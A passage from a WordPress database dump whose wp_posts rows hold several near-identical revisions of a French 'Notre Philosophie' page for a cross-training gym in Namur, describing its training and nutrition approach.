'2013-06-16 12:57:39', '2013-06-16 12:57:39', '', 5, 'http://www.crosstrainingcenter.be/?p=86', 0, 'revision', '', 0),
(88, 1, '2013-06-16 12:58:10', '2013-06-16 12:58:10', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-78 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x98.png\&quot; width=\&quot;300\&quot; height=\&quot;98\&quot; /&gt;&lt;/a&gt;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n\r\n&amp;nbsp;\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 12:58:10', '2013-06-16 12:58:10', '', 5, 'http://www.crosstrainingcenter.be/?p=88', 0, 'revision', '', 0),
(87, 1, '2013-06-16 12:57:53', '2013-06-16 12:57:53', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-78 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x98.png\&quot; width=\&quot;300\&quot; height=\&quot;98\&quot; /&gt;&lt;/a&gt;\r\n\r\n&amp;nbsp;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n\r\n&amp;nbsp;\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 12:57:53', '2013-06-16 12:57:53', '', 5, 'http://www.crosstrainingcenter.be/?p=87', 0, 'revision', '', 0),
(89, 1, '2013-06-16 12:58:23', '2013-06-16 12:58:23', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-78 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x98.png\&quot; width=\&quot;300\&quot; height=\&quot;98\&quot; /&gt;&lt;/a&gt;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n\r\n&amp;nbsp;\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 12:58:23', '2013-06-16 12:58:23', '', 5, 'http://www.crosstrainingcenter.be/?p=89', 0, 'revision', '', 0),
(102, 1, '2013-06-16 13:57:20', '2013-06-16 13:57:20', '', 'pico1', '', 'inherit', 'open', 'open', '', 'pico1', '', '', '2013-06-16 13:57:20', '2013-06-16 13:57:20', '', 5, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png', 0, 'attachment', 'image/png', 0),
(91, 1, '2013-06-16 12:58:34', '2013-06-16 12:58:34', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-78 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x98.png\&quot; width=\&quot;300\&quot; height=\&quot;98\&quot; /&gt;&lt;/a&gt;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n\r\n&amp;nbsp;\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 12:58:34', '2013-06-16 12:58:34', '', 5, 'http://www.crosstrainingcenter.be/?p=91', 0, 'revision', '', 0),
(291, 1, '2013-07-04 18:52:09', '2013-07-04 18:52:09', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-103 alignleft\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;Afin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 18:52:09', '2013-07-04 18:52:09', '', 5, 'http://www.crosstrainingcenter.be/5-revision-37/', 0, 'revision', '', 0),
(293, 1, '2013-07-04 18:53:14', '2013-07-04 18:53:14', '&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\n&amp;nbsp;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 18:53:14', '2013-07-04 18:53:14', '', 5, 'http://www.crosstrainingcenter.be/5-revision-39/', 0, 'revision', '', 0),
(93, 1, '2013-06-16 13:08:28', '2013-06-16 13:08:28', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-78 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x98.png\&quot; width=\&quot;300\&quot; height=\&quot;98\&quot; /&gt;&lt;/a&gt;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-90 alignleft\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-292x300.png\&quot; width=\&quot;292\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;Afin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 13:08:28', '2013-06-16 13:08:28', '', 5, 'http://www.crosstrainingcenter.be/?p=93', 0, 'revision', '', 0);
INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(95, 1, '2013-06-16 13:12:40', '2013-06-16 13:12:40', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-92 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x98.png\&quot; width=\&quot;300\&quot; height=\&quot;98\&quot; /&gt;&lt;/a&gt;Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-90 alignleft\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-292x300.png\&quot; width=\&quot;292\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;Afin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 13:12:40', '2013-06-16 13:12:40', '', 5, 'http://www.crosstrainingcenter.be/?p=95', 0, 'revision', '', 0),
(97, 1, '2013-06-16 13:19:06', '2013-06-16 13:19:06', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-94 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x82.png\&quot; width=\&quot;300\&quot; height=\&quot;82\&quot; /&gt;&lt;/a&gt;Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-90 alignleft\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-292x300.png\&quot; width=\&quot;292\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;Afin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 13:19:06', '2013-06-16 13:19:06', '', 5, 'http://www.crosstrainingcenter.be/?p=97', 0, 'revision', '', 0),
(99, 1, '2013-06-16 13:27:37', '2013-06-16 13:27:37', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-96 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-90 alignleft\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-292x300.png\&quot; width=\&quot;292\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;Afin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', 